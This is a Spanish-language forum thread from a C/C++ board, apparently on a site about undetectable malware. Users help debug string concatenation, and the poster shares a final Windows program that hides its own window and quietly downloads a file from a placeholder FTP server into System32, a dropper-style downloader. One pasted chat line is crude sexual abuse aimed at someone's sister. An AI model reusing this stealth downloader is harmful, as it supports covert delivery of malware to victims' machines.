winnipu dir esta sin inicializar al concatenar te mete basura de lo que tenias al no inicializarlo haz en el primer strcat un strcpy .

En el codigo de osnaraus a lo mejor habria que controlar los tamaños o tirar de strncat, indicando el tamaño deseado para que no te pases con el tamaño del array de chars es decir de la variable dir
Pero el de osnaraus Esta muy bien !! es solo una sugerencia !!!!
<Josh> y bueno hermano,tu hermana q me dijo q estaba cansada de tenerle el orto como la bandera de japon y bueno la pobre me quizo hacer un masaje prostatico nada mas pero era tanto su recelo y venganza acumulada q se esmero un poco mas de lo normal,pero bue,estuivo bien amorizado por la de dias horas años y lagrimas q echo la pobre de tanto culearla
Gracias a todos. Habeis sido de gran ayuda. Se agradece de veras, da gusto ver gente tan amable.

Al final uso el de osnaraus con la pequeña modificacion del strcpy que recomendaba ps1c0s1s, os pego codigo para que lo testeeis si quereis, al final, como siempre que te ayudan el codigo es de todos:

Código: Seleccionar todo

/*
 * Codigo compilado por indetectables.net
 * 13/11/2010
 * FtpDownloader
 */
#include <windows.h>
#include <wininet.h>
#include <string.h>


#define RARCHIVO "index.html"

int main()
{
  char dir[90]="";
  strcpy(dir, getenv("windir")); //obtiene el path de windows
  strcat(dir, "\\System32\\"); //agrega System32 al path queda por ejemplo c://windows/system32
  strcat(dir, RARCHIVO); // c://windows/system32/index.html
   
  HINTERNET hInternet, hServer;
  ShowWindow(GetForegroundWindow(),SW_HIDE);
  hInternet = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
  hServer = InternetConnect(hInternet, "direccionFtp", INTERNET_DEFAULT_FTP_PORT, "user", "pass", INTERNET_SERVICE_FTP, 0, 0);
  FtpGetFile(hServer, RARCHIVO, dir, 0, FILE_ATTRIBUTE_NORMAL, FTP_TRANSFER_TYPE_BINARY, 0);
  InternetCloseHandle(hInternet);
  InternetCloseHandle(hServer);

return 0;
}
Compilado con dev cpp.
Responder

Volver a “C/C++”